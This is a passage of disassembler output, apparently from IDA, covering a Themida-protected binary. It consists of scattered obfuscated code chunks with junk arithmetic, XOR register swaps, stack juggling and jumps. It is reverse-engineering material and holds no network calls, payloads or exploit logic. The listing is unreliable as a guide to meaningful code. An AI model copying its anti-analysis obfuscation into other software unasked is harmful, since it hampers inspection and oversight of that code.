; FUNCTION CHUNK AT 00595ED8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005978F6 SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+0], eax
		push	5B155612h
		pop	eax
		shr	eax, 7
		jns	loc_591722
		push	edx
		mov	edx, 7B4459DFh
		jmp	loc_58B845
sub_590B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	bl, bh
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_590B96:				; CODE XREF: sub_5919E2-64DEj
		sub	edi, 4
		jmp	loc_58DB6C
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590B9E:				; CODE XREF: sub_5916C4+279Fj
		pop	edx
		pop	eax
		jmp	loc_5956CF
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_590BA5:				; CODE XREF: sub_590010-11FDj
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp-18h+arg_14], esi
		push	ecx
		push	51BC0F68h
		pop	ecx
		sub	ecx, 8985C4Fh
		jmp	loc_590545
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_590BC2:				; CODE XREF: Themida_:0058BE2Dj
		push	edx
		jmp	loc_58C184
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_590BC8:				; CODE XREF: sub_58C17E+5BF4j
		sub	cl, 83h
		shr	cl, 1
		not	cl
		push	edx
		mov	dh, 0D3h
		not	dh
		xor	dh, 0A8h
		jmp	loc_590558
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_590BDC:				; CODE XREF: Themida_:00593DBEj
		push	0F04147Dh
		pop	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		neg	edx
		jbe	loc_592AEC
		add	edx, 36D13125h
		add	edx, 2E7109CFh
		mov	eax, edx
		pop	edx


loc_590BFE:				; CODE XREF: Themida_:0058D941j
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 4
		jmp	loc_5962F7

; =============== S U B	R O U T	I N E =======================================



sub_590C09	proc near		; CODE XREF: sub_5EC2E8-607C2j

; FUNCTION CHUNK AT 005954DA SIZE 00000007 BYTES

		push	ebx
		mov	bl, 1Ch
		jmp	loc_5954DA
sub_590C09	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_590C11:				; CODE XREF: Themida_:0058E3D8j
					; sub_5916CB+34EEj
		dec	edx
		add	edx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0AE41A8B8h
		add	edx, ebp
		pop	ebp
		add	ebp, 1DCD1489h
		add	ebp, edx
		sub	ebp, 1DCD1489h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		xchg	ebp, [esp+8+var_8]
		jmp	loc_58C76A
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_590C3D:				; CODE XREF: Themida_:0058BF79j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_593AFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_590C4B:				; CODE XREF: sub_59762D+397j
		shl	ebx, 1
		and	ebx, 342E42CCh
		and	ebx, 1C2B63D6h
		jmp	loc_594BDF
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_590C5E:				; CODE XREF: sub_592D25-28F4j
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		push	ebp
		jmp	loc_597B43
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_590C73:				; CODE XREF: Themida_:00592D20j
		push	eax
		mov	ax, 4C8Fh
		add	ax, 0F9Fh
		shl	ax, 3
		xor	ax, 52F6h
		push	1740h
		mov	[esp], edx
		mov	dx, 389Dh
		push	ebp
		mov	bp, 3344h
		jmp	loc_597B22
; ---------------------------------------------------------------------------


loc_590C9A:				; CODE XREF: Themida_:0058EFC0j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59489A
; ---------------------------------------------------------------------------


loc_590CAB:				; CODE XREF: Themida_:0058D97Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5963A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_590CB7:				; CODE XREF: sub_590010+43F5j
		mov	ax, [esp+0]
		push	0B99h
		mov	[esp-10h+arg_C], ecx
		push	esp
		jmp	loc_59805F
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_590CC9:				; CODE XREF: Themida_:00597DEBj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58D804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_590CD9:				; CODE XREF: sub_590010-3727j
		xor	eax, edx
		pop	edx
		add	eax, ebx
		add	[eax], ebp
		pop	eax
		pop	ebx
		jmp	loc_595FE7
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_590CE7:				; CODE XREF: sub_5EC2E8-5CDD2j
		pop	ecx
		add	ebx, 0F7BBD704h
		add	ebp, ebx
		pop	ebx
		push	ecx
		jmp	loc_5934B9
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_590CF7:				; CODE XREF: Themida_:0059543Fj
		xor	bh, 0E0h
		mov	ah, bh
		jmp	loc_590532
; ---------------------------------------------------------------------------


loc_590D01:				; CODE XREF: Themida_:0059743Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	bl, ah
		jmp	loc_594EC4
; ---------------------------------------------------------------------------


loc_590D12:				; CODE XREF: Themida_:0058EBD9j
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_590D1B:				; CODE XREF: Themida_:0059554Aj
		add	eax, 53C40480h
		add	eax, 20637A18h
		push	esi
		jmp	loc_5900E3
; ---------------------------------------------------------------------------


loc_590D2B:				; CODE XREF: Themida_:0058CE1Bj
		pop	esp
		mov	[esp], ecx
		jmp	loc_58BA4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_590D34:				; CODE XREF: sub_58F5B5+48F4j
		mov	ecx, [esp-4+arg_0]
		push	ebx
		mov	ebx, esp
		jmp	loc_58CD15
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_590D3F:				; CODE XREF: Themida_:0058BED8j
		xor	ebp, eax
		pop	eax
		jmp	loc_58F567
; ---------------------------------------------------------------------------


loc_590D47:				; CODE XREF: Themida_:00596FE9j
		pop	ecx
		add	esp, 4
		add	eax, 2
		push	71F7h
		mov	[esp], eax
		jmp	loc_58CB62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_590D5E:				; CODE XREF: sub_58C17E+6E92j
		xor	ebp, ecx
		mov	ecx, [esp+0]
		push	edi
		jmp	loc_58CE6C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_590D69:				; CODE XREF: sub_5942E3-1D95j
					; sub_595E21-7E9j
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		movzx	ecx, al
		push	eax
		mov	eax, esp
		push	45Ah
		jmp	loc_58B01C
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_590D7F:				; CODE XREF: sub_591059-34D5j
		pop	ebx
		jmp	sub_58BA12
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_590D85:				; CODE XREF: Themida_:005910A2j
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_596527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_590D93:				; CODE XREF: sub_590010-23DFj
		add	ebx, 599C7945h
		add	ebx, edx
		sub	ebx, 599C7945h
		jmp	loc_59446D
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_590DA6:				; CODE XREF: sub_58F5B5:loc_59593Bj
		push	1A89h
		mov	[esp+4+var_4], ebx
		push	ebp
		jmp	loc_58D3BC
; ---------------------------------------------------------------------------


loc_590DB4:				; CODE XREF: sub_58F5B5-289Aj
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_58B583
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_590DBF:				; CODE XREF: Themida_:0058C75Dj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0D013C5Ah
		and	edi, 24367246h
		shr	edi, 3
		push	ebp
		mov	ebp, 0A7F4FDAh
		add	edi, 7A111344h
		add	edi, ebp
		sub	edi, 7A111344h
		pop	ebp
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, 0F500AB1Ch
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	[edi+1Ch], ebx
		jmp	loc_592BB1
; ---------------------------------------------------------------------------


loc_590E0E:				; CODE XREF: Themida_:005943BAj
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_58A2CE

; =============== S U B	R O U T	I N E =======================================



sub_590E26	proc near		; CODE XREF: sub_58D99C+37C1j

; FUNCTION CHUNK AT 0058D293 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00592EE5 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, 6CDE500Fh
		neg	ebp
		jmp	loc_58D293
sub_590E26	endp

; ---------------------------------------------------------------------------


loc_590E33:				; CODE XREF: Themida_:0058BFCEj
		shr	ebx, 5
		jmp	loc_59790F
; ---------------------------------------------------------------------------


loc_590E3B:				; CODE XREF: Themida_:0059335Fj
		neg	edi
		add	edi, 6BF5B9DAh
		neg	edi
		jmp	loc_596064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_590E4A:				; CODE XREF: sub_5EC2E8-5FBCFj
		pop	edi
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 396C1E5Ch
		shr	eax, 1
		push	eax
		jmp	loc_58DCE0
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5948B7


loc_590E5C:				; CODE XREF: Themida_:0058EE2Ej
					; sub_5948B7+209Aj
		mov	[esp+0], ecx
		jmp	loc_58BE59
; END OF FUNCTION CHUNK	FOR sub_5948B7
; ---------------------------------------------------------------------------


loc_590E64:				; CODE XREF: Themida_:0058DCBBj
		mov	[esp], ecx
		push	3063FD59h
		jmp	loc_59584A
; ---------------------------------------------------------------------------


loc_590E71:				; CODE XREF: Themida_:0058F27Fj
		push	ecx
		mov	ecx, 78F71FA3h
		push	ebp
		jmp	loc_58F1E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_590E7D:				; CODE XREF: sub_590B70+3E25j
		mov	eax, [edx]
		pop	edx
		push	dword ptr [edi+eax*4]
		push	4B8Bh
		mov	[esp+0], ebx
		push	edi
		push	62B376CAh
		pop	edi
		add	edi, 0BE52FDB2h
		mov	ebx, edi
		jmp	$+5
		pop	edi
		jmp	loc_58AF3E
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------


loc_590EA5:				; CODE XREF: Themida_:0058DEAAj
		push	dword ptr [esp+4]
		jmp	loc_58F498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_590EAE:				; CODE XREF: sub_59762D-2558j
		sub	ecx, 2
		xor	ecx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ecx
		jmp	loc_58C39D
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_590EBF:				; CODE XREF: Themida_:0058C6E2j
		neg	dword ptr [esp]
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_590EC8:				; CODE XREF: Themida_:00597764j
		pop	eax
		mov	cl, dh
		pop	edx
		jmp	loc_58ECEC
; ---------------------------------------------------------------------------


loc_590ED1:				; CODE XREF: Themida_:0058E209j
		sub	esp, 2
		mov	[esp], si
		jmp	loc_58DB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590EDD:				; CODE XREF: sub_5916C4+304Aj
					; Themida_:005949B5j
		ja	loc_594CB3
		jmp	loc_597037
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		pop	esp
		mov	al, cl
		pop	eax


loc_590EEF:				; CODE XREF: Themida_:0059778Ej
		push	edi
		mov	edi, 0BB0B99h
		add	eax, 52C83D3Dh
		add	eax, 7C7A5F4Fh
		sub	eax, 4D8F51B4h
		add	eax, edi
		add	eax, 4D8F51B4h
		jmp	loc_58BB73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590F10:				; CODE XREF: sub_5916C4+1123j
		pop	esp
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_590F16:				; CODE XREF: sub_58C17E+874j
		sub	ebx, 20EA7753h
		add	ebx, edx
		add	ebx, 20EA7753h
		pop	edx
		add	eax, ebx
		mov	ebx, [esp+0]
		jmp	loc_592737
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_590F2F:				; CODE XREF: Themida_:0058F82Cj
		push	edx
		mov	dh, 40h
		xor	bh, dh
		pop	edx
		shl	bh, 5
		push	dx
		jmp	loc_58FC17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_590F3F:				; CODE XREF: sub_595E21:loc_58C605j
					; Themida_:00597562j
		sub	edx, 474E2E64h
		mov	esi, edx
		mov	edx, [esp+0]
		jmp	loc_5906A4
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_590F4F:				; CODE XREF: sub_595123-972Fj
		mov	[esp+0Ch+var_C], edx
		push	[esp+0Ch+var_8]
		jmp	loc_58BEED
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_590F5B:				; CODE XREF: Themida_:0058C89Cj
		and	ch, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_58FEEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_590F6C:				; CODE XREF: sub_58C17E+33F7j
		pop	ebp
		sub	edx, 4
		push	edx
		push	[esp+0Eh+var_C+2]
		pop	edx
		pop	dword ptr [esp+0]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], esi
		jmp	loc_594C74
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_590F87:				; CODE XREF: Themida_:00591A14j
		add	esi, ecx
		jmp	loc_597FB9
; ---------------------------------------------------------------------------


loc_590F8E:				; CODE XREF: Themida_:005975A7j
		sub	edi, ebx
		pop	ebx
		push	ebp
		push	esi
		jmp	loc_5932DF
; ---------------------------------------------------------------------------


loc_590F98:				; CODE XREF: Themida_:00593CA2j
		pop	ebx
		xor	cl, dh
		jmp	loc_596E3A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59525E
; ---------------------------------------------------------------------------


loc_590FB4:				; CODE XREF: Themida_:0058FAF8j
		neg	ecx
		jnz	loc_5971D3
		jmp	loc_597EB8
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590FC6:				; CODE XREF: sub_5916C4+21D2j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		add	eax, ebp
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		push	edi
		mov	edi, 56465183h
		dec	edi
		xor	edi, 0D054487h
		jmp	loc_5925C3
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_590FF4:				; CODE XREF: Themida_:0058ED57j
		pop	ebp
		jmp	loc_58B642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909B4


loc_590FFA:				; CODE XREF: sub_5909B4-D37j
		push	ax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5909B4
; ---------------------------------------------------------------------------


loc_591002:				; CODE XREF: Themida_:00592A23j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	ebp
		mov	ebp, 7F0226BCh
		dec	ebp
		not	ebp
		and	ebp, 4B8D704Eh
		shr	ebp, 3
		not	ebp
		jmp	loc_58BF1E
; ---------------------------------------------------------------------------


loc_591029:				; CODE XREF: Themida_:00592388j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	bp, 584h
		jno	loc_58EC67
		jmp	loc_5927B1
; ---------------------------------------------------------------------------
		sub	ebp, 4
		pop	esp


loc_59104A:				; CODE XREF: Themida_:0058E7B1j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58F1A0

; =============== S U B	R O U T	I N E =======================================



sub_591059	proc near		; CODE XREF: sub_58F5B5-3358j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B1B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B6C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BF59 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C208 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CBA4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DB81 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DF4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590D7F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059248C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594090 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594CF7 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00595DB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597091 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059715A SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_594CF7
sub_591059	endp

; ---------------------------------------------------------------------------


loc_591067:				; CODE XREF: Themida_:0058D4CFj
					; Themida_:0058F479j
		or	ecx, 99C7745h
		jmp	loc_58C98A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_591072:				; CODE XREF: sub_5916CB-51B5j
		push	[esp+4+var_4]
		pop	ecx
		push	eax
		jmp	loc_596BFE
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909B4


loc_59107C:				; CODE XREF: sub_5909B4+20A8j
		push	eax
		not	dword ptr [esp+0]
		jmp	loc_58D1BA
; END OF FUNCTION CHUNK	FOR sub_5909B4
; ---------------------------------------------------------------------------


loc_591085:				; CODE XREF: Themida_:0059095Cj
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_590D85
; ---------------------------------------------------------------------------


loc_5910A7:				; CODE XREF: Themida_:00593BB8j
		mov	ah, 0F8h
		jmp	loc_59574E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_5910AE:				; CODE XREF: sub_595BDA-93DCj
		add	esp, 4
		jmp	loc_5922E0
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_5910B9:				; CODE XREF: Themida_:0058FE34j
		pop	ebx
		jmp	loc_58EC19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5910BF:				; CODE XREF: sub_590010+266Dj
		pop	ebx
		add	esi, eax
		jmp	loc_58ACB6
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_5910C7:				; CODE XREF: Themida_:005924A4j
		xchg	esi, [esp]
		pop	esp
		sub	bl, 1
		push	3155h
		mov	[esp], edx
		mov	dl, al
		push	ecx
		push	38h
		pop	ecx
		push	627Fh
		mov	[esp], eax
		mov	eax, 428E4729h
		sub	ecx, eax
		pop	eax
		jmp	loc_5936A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_5910F4:				; CODE XREF: sub_58B4D6+7C71j
		mov	ecx, 4
		jmp	loc_58DF0C
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5910FE:				; CODE XREF: sub_58C17E+74EBj
		not	edi
		xor	edi, 0B7ADFD5Bh
		not	edi
		xor	edi, 51311DC9h
		jl	loc_593A83
		not	edi
		add	edi, 32B2FB6h
		mov	eax, edi
		pop	edi
		mov	bl, bl


loc_591121:				; CODE XREF: sub_59762D-5444j
		sub	bl, 3Bh
		pop	edx
		add	bl, 0CCh
		add	bl, 0F3h
		jmp	loc_58FB3A
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_591130:				; CODE XREF: sub_592D25:loc_592553j
					; Themida_:00595AE5j
		push	7313h
		mov	[esp+0], eax
		push	ebx
		mov	ebx, 7C524B83h
		push	ebp
		push	519C53DDh
		jmp	loc_592D45
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_591149:				; CODE XREF: sub_58D99C:loc_594200j
		sub	ebx, 1411871Fh
		and	ecx, ebx
		mov	ebx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	sub_590E26
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_591162:				; CODE XREF: sub_592D25-4E98j
		mov	esi, esp
		jmp	loc_58D149
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_591169:				; CODE XREF: Themida_:loc_5947C9j
		push	ebx
		push	eax
		jmp	loc_58DF95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591170:				; CODE XREF: sub_58C17E+64DEj
		mov	[esp+2+var_4+2], ecx
		mov	ecx, ebp
		mov	ebx, ecx
		pop	ecx
		mov	[edx], ebx
		mov	ebx, [esp+0]
		add	esp, 4
		pop	ebp
		mov	edx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_59118F:				; CODE XREF: Themida_:00595C6Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5906CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5911AA:				; CODE XREF: sub_58C17E+349Cj
		add	ecx, ebx
		push	edx
		jmp	loc_597C85
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5911B2:				; CODE XREF: sub_5916C4-60B7j
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		push	3DC2h
		mov	[esp-4+arg_0], ebp
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_5900D6
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5911CF:				; CODE XREF: Themida_:0058DF82j
		push	ecx
		mov	ch, 2
		push	eax
		mov	al, ch
		not	al
		mov	ch, al
		pop	eax
		push	bx
		jmp	loc_5904C9
; ---------------------------------------------------------------------------


loc_5911E1:				; CODE XREF: Themida_:0058A8DDj
		xchg	edx, [esp]
		jmp	loc_590995
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5911E9:				; CODE XREF: sub_590010+5BDDj
		not	esi
		add	esi, 39606905h
		jmp	loc_58A59B
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_5911F6:				; CODE XREF: Themida_:0058D66Bj
		pop	esi
		or	esi, 4A36059Bh
		jmp	loc_591C43
; ---------------------------------------------------------------------------


loc_591202:				; CODE XREF: Themida_:0058AA94j
		pop	ebx
		push	11Ch
		jmp	loc_59521D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59120D:				; CODE XREF: sub_58F5B5+6EA1j
		sub	ah, 0E6h
		jmp	loc_58D642
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936D6


loc_591215:				; CODE XREF: sub_5936D6+1CBEj
		pop	ecx
		mov	ebx, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5936D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59122E:				; CODE XREF: sub_5916C4-4C2Fj
		xor	[esp-0Ah+arg_8+2], edi
		jmp	loc_58C07C
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_591237:				; CODE XREF: sub_595E21-ABDDj
		push	edx
		mov	edx, 27872A83h
		add	edx, 5421740Ch
		jle	loc_58F831
		jmp	loc_593B33
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59124E:				; CODE XREF: sub_590010-3385j
		mov	edi, [esp+4+var_4]
		jmp	loc_593273
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_591256:				; CODE XREF: Themida_:005968C7j
		push	ecx
		push	edx
		jmp	loc_595ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_59125D:				; CODE XREF: sub_59524C-710Cj
					; sub_595E21-2B56j
		add	ebx, 5B32732h
		add	ebx, 6C4D68B2h
		sub	ebx, esi
		sub	ebx, 6C4D68B2h
		push	ecx
		push	esi
		mov	esi, 5B32732h
		mov	ecx, esi
		pop	esi
		jmp	loc_597F97
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_591280:				; CODE XREF: Themida_:0059544Aj
		pop	ebx
		add	cl, ah
		pop	ax
		add	al, cl
		pop	ecx
		push	ebx
		mov	bl, 0C1h
		push	eax
		mov	ah, 9Eh
		dec	ah
		not	ah
		shl	ah, 5
		or	ah, 0CBh
		jmp	loc_597A04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_59129D:				; CODE XREF: sub_5EC2E8-60751j
		xor	edi, [esp+28h+var_28]
		pop	esp
		jmp	sub_59524C
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5912A6:				; CODE XREF: Themida_:0058C488j
		push	esi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		jmp	loc_5955D1
; ---------------------------------------------------------------------------


loc_5912B4:				; CODE XREF: Themida_:0058B68Bj
		xor	ebx, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		dec	ebx
		jmp	loc_58AA8A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58A8CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5912D7:				; CODE XREF: sub_5916C4+F09j
		xor	edi, edx
		add	edx, 1
		jmp	loc_590707
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5912E1:				; CODE XREF: sub_59762D-9777j
		mov	[esp+0], ax
		mov	al, 12h
		sub	dh, al
		jmp	loc_58E450
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5912EE:				; CODE XREF: Themida_:005940B3j
		add	bl, ch
		jmp	loc_593683
; ---------------------------------------------------------------------------


